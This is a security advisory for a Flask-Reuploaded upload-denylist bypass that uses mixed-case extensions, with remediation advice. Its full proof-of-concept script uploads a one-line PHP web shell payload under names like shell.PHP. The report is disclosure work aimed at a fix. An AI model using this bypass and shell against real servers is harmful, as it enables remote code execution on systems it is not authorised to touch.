Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)

extension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.

3. Vulnerability summary

UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).

4. Affected components

Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).

5. Taint analysis

• Source: the name argument of UploadSet.save(storage, name=...) — commonly user-derived; the parent CVE-2026-27641 already treats name as attacker-controllable.
• Guard (asymmetric): secure_filename(name) stops traversal, but the extension policy check at :344-345 uses non-normalizing extension() against a lowercase-tokened policy. The realpath containment at :364 constrains the path, not the extension — orthogonal to this bypass.
• Sink: storage.save(target) at :374 writes the attacker-extensioned file into the served upload directory.

6. CVSS justification (preconditions stated honestly)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0–7.3 (High).

• AV:N — web upload endpoint.
• AC:H — three preconditions (stated plainly):
  1. UploadSet uses a denylist — AllExcept(...) or populated config.deny. (Allowlists fail closed — §7c.)
  2. Application passes a user-influenced name to save().
  3. Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache AddHandler/AddType).
• PR:L — uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H — RCE under the web server's privileges on execution-capable upload dirs.

Why High, not a contrived misconfiguration — the bypassed control is the library's documented script-blocking mechanism:

• extensions.py:34-35 — SCRIPTS: "…you might want to add php to the DENY setting."
• extensions.py:24-26 — EXECUTABLES: "…it's better suited for use with AllExcept."

An app that followed this guidance to block scripts is exactly what this variant defeats.

Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.

7. Proof of Concept (results)

Against shipped Flask-Reuploaded==1.5.0:

7a. Asymmetry

default path  : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW

7b. End-to-end (denylist AllExcept(SCRIPTS))

[1] save(storage("shell.PHP"))                              -> UploadNotAllowed   (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP")           -> saved "shell.PHP", on_disk=True   (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp")           -> saved "evil.pHp",  on_disk=True; containment intact

7c. Negative controls

[3] allowlist IMAGES, name="shell.PHP"  -> UploadNotAllowed: File extension 'PHP' is not allowed  (fail-closed)
[4] allowlist IMAGES, name="photo.jpg"  -> saved "photo.jpg"                                       (legit unaffected)

8. Patch pattern (internal precedent)

The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are "compare[d] … in the same case" (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.

9. Impact

• Bypass of the documented extension denylist for scripts/executables.
• Storage of .PHP / .pHp / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).
• On case-insensitive execution surfaces → remote code execution under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.

10. Suggested remediation

Normalize before the policy check so the name-override path matches the default path:

1. ext = extension(basename).lower() (or extension(lowercase_ext(basename))) before extension_allowed.
2. Or run the overridden basename through lowercase_ext() (as get_basename does) before both validation and save.
3. Or make extension_allowed / the policy containers case-insensitive.

Option (1) or (2) is the minimal, behavior-preserving fix.

11. Evidence files

• poc_case_fold.py (§12) — self-contained PoC; runs against pip install Flask-Reuploaded==1.5.0.
• /tmp/flask_reuploaded_case_fold_proof.txt — captured verdict.
• Source permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23.

12. Full PoC script (poc_case_fold.py)

"""
PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.

Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.

  default path     : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
  name-override    : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
                     -> extension("shell.PHP")  -> "PHP" -> extension_allowed("PHP") -> ALLOW

Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile

from flask import Flask
from flask_uploads import (
    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads


def make_storage(filename: str) -> FileStorage:
    return FileStorage(
        stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
        filename=filename,
        content_type="application/octet-stream",
    )


def run():
    import importlib.metadata as md
    print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")

    dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
    dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")

    app = Flask(__name__)
    files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))   # documented "allow all except scripts"
    files_allow = UploadSet("filesallow", IMAGES)             # allowlist (fail-closed)
    app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
    app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
    configure_uploads(app, (files_deny, files_allow))

    results = {}
    with app.app_context():
        # [1] default path, denylist -> must DENY
        try:
            saved = files_deny.save(make_storage("shell.PHP"))
            results["default_path"] = f"SAVED as {saved}  <-- UNEXPECTED"
        except UploadNotAllowed:
            results["default_path"] = "DENIED (expected)"

        # [2] name-override, denylist -> BYPASS
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
            on_disk = os.path.join(dest_denylist, saved)
            results["variant"] = f"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}"
        except UploadNotAllowed:
            results["variant"] = "DENIED (variant did NOT reproduce)"

        # [2b] mixed-case generality + containment intact
        try:
            saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
            on_disk = os.path.join(dest_denylist, saved)
            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
            results["variant_mixed"] = f"BYPASS — saved as {saved}, inside_dest={inside}"
        except UploadNotAllowed:
            results["variant_mixed"] = "DENIED"

        # [3] allowlist -> fail closed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
            results["allowlist"] = f"SAVED as {saved}  <-- allowlist leaked"
        except UploadNotAllowed:
            results["allowlist"] = "DENIED (expected — allowlist fails closed)"

        # [4] legit upload -> allowed
        try:
            saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
            results["legit"] = f"SAVED as {saved} (expected)"
        except UploadNotAllowed:
            results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"

    print("VERDICT:")
    for k, v in results.items():
        print(f"   {k:14s}: {v}")

    confirmed = (
        "BYPASS" in results.get("variant", "")
        and results.get("default_path") == "DENIED (expected)"
        and "DENIED" in results.get("allowlist", "")
    )
    print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")

    shutil.rmtree(dest_denylist, ignore_errors=True)
    shutil.rmtree(dest_allowlist, ignore_errors=True)


if __name__ == "__main__":
    run()